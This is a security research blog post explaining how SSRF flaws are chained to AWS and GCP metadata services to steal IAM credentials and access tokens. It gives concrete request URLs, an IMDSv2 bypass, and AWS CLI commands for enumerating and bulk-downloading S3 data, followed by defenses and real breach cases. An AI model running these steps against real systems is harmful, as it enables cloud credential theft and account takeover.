Research / SSRF → хмарні метадані: від вразливості до витоку ключів AWS
RESEARCH
UA EN

SSRF to Cloud Metadata: From Vulnerability to AWS Key Exfiltration

✍ admin 📅 31.05.2026 👁 104

Preface

SSRF (Server-Side Request Forgery) transformed from an "interesting" vulnerability into a critical one with the mass migration of infrastructure to the cloud. AWS, GCP, and Azure have metadata services — internal HTTP endpoints accessible only from EC2/VM instances. They return IAM credentials, SSH keys, configs — everything needed for an account takeover.

This is exactly how the Capital One breach in 2019 compromised data for 100 million customers — via SSRF → AWS metadata → IAM role credentials.


How It Works

1. SSRF vulnerability found on app.target.com
2. Server is running on AWS EC2
3. Inside EC2, http://169.254.169.254/ is accessible (link-local)
4. Attacker forces the server to make a request to the metadata service
5. Receives IAM role credentials (AccessKeyId, SecretAccessKey, Token)
6. Uses credentials to access all AWS resources

Step 1: Finding SSRF

# Look for parameters that accept a URL
GET /api/fetch?url=https://example.com HTTP/1.1
POST /webhook HTTP/1.1
{"callback_url": "https://example.com/notify"}

# Look for URL parameters in:
# - Image/document loading
# - Webhook settings
# - PDF/screenshot generators
# - URL preview
# - Import from URL features

Confirm with DNS callback:

GET /api/fetch?url=http://UNIQUE.interact.sh/ HTTP/1.1
# If a DNS request arrives — SSRF is present

Step 2: Identify the Cloud Environment

# AWS EC2
http://169.254.169.254/

# If it responds — it's AWS. Continue with:
http://169.254.169.254/latest/meta-data/

# GCP (Google Cloud)
http://metadata.google.internal/
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance

Step 3: Retrieve AWS IAM Credentials

# List available metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/

# Response:
ami-id
hostname
iam/
instance-id
instance-type
local-ipv4
...

# Find the IAM role
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Response: role name
WebAppRole

# Get credentials
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole

Response:

{
  "Code": "Success",
  "LastUpdated": "2024-01-15T10:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token": "IQoJb3JpZ2luX2VjEA...",
  "Expiration": "2024-01-15T16:00:00Z"
}

Step 4: Using the Credentials

# Configure AWS CLI
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEA...

# Check who we are
aws sts get-caller-identity
# Response: AccountId, Arn (role name)

# Recon
aws s3 ls                        # list buckets
aws ec2 describe-instances       # all EC2 instances
aws iam list-roles               # list roles
aws secretsmanager list-secrets  # secrets

# Download everything from S3
aws s3 cp s3://target-prod-data/ ./data/ --recursive

# If iam:PassRole or ec2:RunInstances permissions exist:
# Can launch a new EC2 with an admin role and take over the account

Step 5: IMDSv2 and Bypasses

AWS introduced IMDSv2 (Instance Metadata Service v2) — SSRF protection via a mandatory PUT request with a session token before any GET.

# IMDSv2 protection
curl -X PUT "http://169.254.169.254/latest/api/token"      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Response: TOKEN

curl -H "X-aws-ec2-metadata-token: TOKEN"      "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

IMDSv2 bypass via SSRF (if the app supports headers):

POST /api/proxy HTTP/1.1
{
  "url": "http://169.254.169.254/latest/api/token",
  "method": "PUT",
  "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}

Some SSRF vectors (curl, wget in backend) can make PUT requests if the app forwards method or headers.


GCP Metadata Service

# GCP requires a header
curl -H "Metadata-Flavor: Google"      "http://metadata.google.internal/computeMetadata/v1/"

# Get service account token
curl -H "Metadata-Flavor: Google"      "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Response:
{"access_token": "ya29.XXXX", "token_type": "Bearer", "expires_in": 3599}

# Use it
curl -H "Authorization: Bearer ya29.XXXX"      "https://storage.googleapis.com/storage/v1/b"  # list buckets

Defenses

# 1. Whitelist of allowed URLs/domains
ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
    raise ValueError("URL not allowed")

# 2. Block internal addresses
import ipaddress, socket

def is_safe_url(url):
    hostname = urlparse(url).hostname
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(hostname))
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except:
        return False
    return True

# 3. Enable IMDSv2 on AWS EC2 (hop limit = 1)
# aws ec2 modify-instance-metadata-options #   --instance-id i-xxxx #   --http-tokens required #   --http-put-response-hop-limit 1

# 4. Run fetch in an isolated sandbox without access to internal network

Real-World Cases

Company Year Impact
Capital One 2019 100M customer records, IAM role abuse
Shopify 2020 Internal metadata access (bug bounty $25K)
Twitch 2019 SSRF to internal AWS services
GitLab 2021 SSRF → Redis → RCE (CVE-2021-22214)
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?